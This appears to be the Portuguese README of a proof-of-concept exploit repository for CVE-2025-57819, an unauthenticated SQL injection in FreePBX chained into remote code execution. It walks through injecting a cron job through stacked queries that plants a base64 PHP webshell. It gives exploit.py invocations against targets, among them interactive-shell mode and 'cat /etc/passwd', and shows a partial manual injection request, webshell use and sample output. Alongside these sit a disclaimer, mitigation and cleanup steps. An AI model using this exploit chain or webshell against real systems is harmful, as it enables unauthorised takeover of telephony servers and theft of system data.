CVE-2025-57819 — Injeção SQL no FreePBX → PoC de RCE

CVE-2025-57819 é uma vulnerabilidade crítica de injeção de SQL no FreePBX que permite a um atacante não autenticado obter execução remota de código ao encadear uma injeção de SQL com injeção de cron job.

⚠️ Aviso: Este repositório destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não é responsável por qualquer uso indevido ou dano.

Visão Geral da Vulnerabilidade

Campo	Detalhe
CVE	CVE-2025-57819
Produto Afetado	FreePBX (pré-autenticação)
Tipo de Vulnerabilidade	Injeção de SQL (consultas empilhadas)
Impacto	Execução Remota de Código (RCE)
Vetor de Ataque	Rede (HTTP GET)
Autenticação Necessária	❌ Nenhuma

Cadeia do Exploit

┌────────────────────────────────────────────────────────────────┐
│ 1. Injeção de SQL                                              │
│    POST /admin/ajax.php?brand= → consulta empilhada            │
│    INSERT INTO cron_jobs …                                     │
├────────────────────────────────────────────────────────────────┤
│ 2. Injeção de Cron Job                                         │
│    O cron job malicioso grava uma webshell PHP decodificada    │
│    em base64 em /var/www/html/shell.php                        │
├────────────────────────────────────────────────────────────────┤
│ 3. Acesso à WebShell                                           │
│    GET /shell.php?cmd=<comando> → execução arbitrária de código│
└────────────────────────────────────────────────────────────────┘

Como Funciona

O endpoint /admin/ajax.php processa o parâmetro brand sem sanitização adequada, permitindo consultas SQL empilhadas.
O atacante injeta uma instrução INSERT INTO cron_jobs que agenda um comando malicioso a cada minuto.
O cron job decodifica uma webshell PHP codificada em base64 e a grava na raiz web.
Uma vez gravada, o atacante pode executar comandos arbitrários do sistema por meio da webshell.

Início Rápido

# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC

# Install dependency
pip install requests

# Basic usage
python exploit.py <target>

# Drop into interactive shell after injection
python exploit.py <target> --shell

# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"

Uso

usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
                  [--param PARAM] [--no-wait] [-v]
                  target

CVE-2025-57819 – FreePBX SQLi → Cron → WebShell

positional arguments:
  target                target hostname or IP (with optional scheme)

options:
  -h, --help            show this help message and exit
  -p, --port PORT       port (default: 80/443)
  --shell               drop into interactive shell after injection
  --cmd CMD             execute a single command via the webshell
  --param PARAM         webshell query-string parameter (default: cmd)
  --no-wait             skip the webshell-verification poll
  -v, -vv               increase verbosity (-v info, -vv debug)

Exemplos

# Target with default HTTP port
python exploit.py connected.htb

# Target with custom port
python exploit.py 10.10.11.100 -p 8080

# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell

# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"

# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"

# Verbose output for debugging
python exploit.py connected.htb -vv --shell

Shell Interativa

Ao usar --shell, o script entra em um pseudo-terminal:

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.

Digite exit (ou Ctrl-C, Ctrl-D) para sair da sessão.

Verificação Manual

Se você preferir etapas manuais, o exploit faz três coisas:

Passo 1 – Injetar o cron job

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...

Passo 2 – Aguardar ~60 segundos para o cron ser executado

O cron job injetado (* * * * *) é executado a cada minuto e grava a webshell.

Passo 3 – Acessar a webshell

GET /shell.php?cmd=id

Limpeza

Após o teste, remova a webshell e a entrada do cron job:

DELETE FROM cron_jobs WHERE command LIKE '%base64%';

Em seguida, exclua /var/www/html/shell.php do sistema de arquivos.

Versões Afetadas

Versões do FreePBX anteriores ao patch do fornecedor
Sistemas em que /admin/ajax.php está acessível sem autenticação

Mitigação

Aplique imediatamente o patch de segurança fornecido pelo fornecedor
Restrinja o acesso à interface administrativa do FreePBX
Garanta que o usuário do banco de dados do FreePBX tenha privilégios mínimos (defesa em profundidade)

Referências

Licença

Este projeto é fornecido apenas para fins educacionais e de pesquisa defensiva de segurança. Consulte o aviso no topo deste documento.

CVE-2025-57819-POC

Mais Populares

Sobre